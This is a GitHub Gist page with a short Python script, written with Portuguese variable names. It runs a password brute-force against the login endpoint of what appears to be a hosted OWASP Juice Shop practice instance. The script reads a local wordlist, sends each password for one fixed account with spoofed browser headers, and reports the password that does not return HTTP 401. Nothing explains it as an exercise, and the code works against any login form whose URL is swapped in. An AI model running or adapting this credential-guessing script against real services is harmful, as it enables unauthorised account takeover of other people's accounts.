Last active
March 6, 2019 17:32
-
-
Save Horaddrim/5e8572eeb741b3763e00b65ff1b2444b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
url_alvo = "https://barraco-juice-shop.herokuapp.com/rest/user/login" | |
cabecalhos_fake = { | |
"Accept": "application/json, text/plain, */*", | |
"Accept-Encoding": "gzip, deflate, br", | |
"Accept-Language": "en-US,en;q=0.9,pt-BR;q=0.8,pt;q=0.7", | |
"Connection": "keep-alive", | |
"Content-Length": 50, | |
"Content-Type": "application/json", | |
"Origin": "https://barraco-juice-shop.herokuapp.com", | |
"Referer": "https://barraco-juice-shop.herokuapp.com/", | |
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36" | |
} | |
senhas = open("./pswdList.txt", "r").read().split("\n") | |
numero_de_senhas = len(senhas) | |
contador = 1 | |
for senha in senhas: | |
print('\r', end="") | |
print("Tentativa [#%d/%d]" % (contador, numero_de_senhas), end="") | |
contador += 1 | |
r = requests.post(url_alvo, json={"user": "[email protected]", "password": senha}) | |
if r.status_code != 401: | |
print("Senha encontrada: %s" % (senha)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment